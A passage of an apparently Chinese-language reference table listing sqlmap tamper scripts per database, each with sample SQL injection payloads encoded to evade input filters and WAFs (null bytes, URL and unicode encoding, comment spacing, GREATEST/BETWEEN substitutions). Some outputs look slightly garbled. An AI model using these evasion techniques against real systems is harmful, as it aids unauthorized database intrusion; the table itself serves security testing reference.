2 | apostrophenullencode.py | 繞過過濾雙引號,替換字元和雙引號。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
|
3 | between.py | 用between替換大於號(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
4 | charencode.py | url編碼 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
5 | randomcase.py | 隨機大小寫 | * Input: INSERT * Output: InsERt |
|
6 | charunicodeencode.py | 字串 unicode 編碼 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
PostgreSQL | 1 | greatest.py | 繞過過濾’>’ ,用GREATEST替換大於號。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
2 | apostrophenullencode.py | 繞過過濾雙引號,替換字元和雙引號。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
|
3 | between.py | 用between替換大於號(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
4 | percentage.py | asp允許每個字元前面新增一個%號 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
|
5 | charencode.py | url編碼 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
6 | randomcase.py | 隨機大小寫 | * Input: INSERT * Output: InsERt |
|
7 | charunicodeencode.py | 字串 unicode 編碼 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
Access | 1 | appendnullbyte.py | 在有效負荷結束位置載入零位元組字元編碼 | ('1 AND 1=1') '1 AND 1=1%00' |
其他 | chardoubleencode.py< |